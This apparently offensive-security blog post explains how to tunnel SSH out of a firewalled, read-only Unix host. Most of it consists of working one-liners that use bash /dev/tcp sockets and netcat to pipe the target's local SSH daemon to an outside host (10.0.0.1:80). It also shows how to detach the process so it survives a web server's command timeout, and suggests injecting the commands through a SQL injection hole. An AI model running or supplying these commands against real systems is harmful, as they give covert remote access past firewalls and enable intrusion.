Wicked Cool Reverse Proxy With Bash and Netcat

There are a lot of guides out there that show how to do various cool tricks using netcat. One thing that I recently came across is the situation where I could execute a command on a remote system, but had no write permissions to the file system. There was a copy of nc on the host, and being an older Unix it had only had bash 3 (though this technique also applies to later versions of bash too.) I put together this technique to get a reverse-proxy connection; I doubt this is anything new, but my searches didn’t turn anything up on how to do this so I figure it’s worth sharing.

The goal was to be able to ssh into the machine, which was behind a firewall. It had outbound access on port 80 but was otherwise pretty restricted. No filesystem write access, older version of bash (no coprocesses),

FIFO redirection

Just about every example you can find on how to perform a reverse proxy connection with netcat makes the assumption that you can write a unix FIFO (named pipe.) Obviously, this requires creating a file. And without being able to do so it becomes difficult to get all of the IO done right.

bash has extensive IO features

One way of dealing with this is to use several features of bash:

  • Un-named pipes (basically everything we are doing here is using an un-named pipe.)
  • File descriptors, you are probably familiar with 0, 1, and 2 (STDIN, STOUT, and STDERR respectively) but bash allows for the creation of additional descriptors which can be assigned a number above 2.
  • Network file descriptors: bash has a really cool feature, where it will treat a network socket as a file descriptor. You just reference the file /dev/tcp/hostname/port for example, ssh on localhost is /dev/tcp/127.0.0.1/22
  • Process substitution. It’s one way (of several) that allows running subshells without using quotes or backticks (pretty useful to help with escaping problems when doing this over HTTP and pushing through a SQL Injection hole.)

How to reverse-proxy a local service without using a named pipe:

If you want to proxy SSH connections from your target using an outbound connection to port 80 on your system, the command is:

1
nohup bash <(exec 3<>/dev/tcp/localhost/22 && nc 10.0.0.1 80 0<&3 1>&3) &>/dev/null &
  • The <( ) part runs the command in a subprocess, you could accomplish the same using bash -c, or backticks, etc.
  • exec 3<>/dev/tcp/localhost/22 creates a bidirectional filehandle (named 3) and associates it with a TCP socket to the local SSH daemon. The IO filehandle is necessary because multiple redirections need to take place within a single command.
  • Then connect STDIN and STDOUT of netcat which connects outbound on port 80.

And on the local system, you can do this (since we can write named pipes locally, I use them here.):

1
2
mkfifo catpipe
nc -l -p 80 0<catpipe |nc -l -p 2222 >catpipe

Then you simply ssh to yourself:

1
ssh -p 2222 user@localhost

Neat trick eh?

And then I realized …

Netcat isn’t even needed on the remote side! Really, what is netcat but cat with the ability to treat sockets as filehandles? So taking it a step further: pure bash reverse TCP proxy! Don’t need to write to the filesystem, doesn’t use any quotes, and can be fired off as a one-liner.

1
2
exec 3<>/dev/tcp/localhost/22 && exec 4<>/dev/tcp/10.0.0.1/80 && \
  bash <(cat 0<&3 1>&4 & ) && cat 0<&4 1>&3

Note: the line break here is added for readbility, but this would be a one-liner during the attack … and if you needed to disassociate from the process that called the command (say if the web server, or whatever,) has a low command timeout: this time with no line breaks

1
nohup bash <( exec 3<>/dev/tcp/localhost/22 && exec 4<>/dev/tcp/10.0.0.1/80 && bash <(cat 0<&3 1>&4 & ) && cat 0<&4 1>&3 ) &>/dev/null &

The first cat statement needs to be put in the background (the second doesn’t necessarily, but if we do we don’t run into any syntax problems with using an ampersand.) I’m doing this as a one-liner (using logical-and’s to string it all together,) so I run it as a subprocess and put it in the background within the subprocess. If you can provide multiple commands, then it gets easier.

I love unix.

zsh seems to have the same abilities (filehandles and TCP file descriptors.)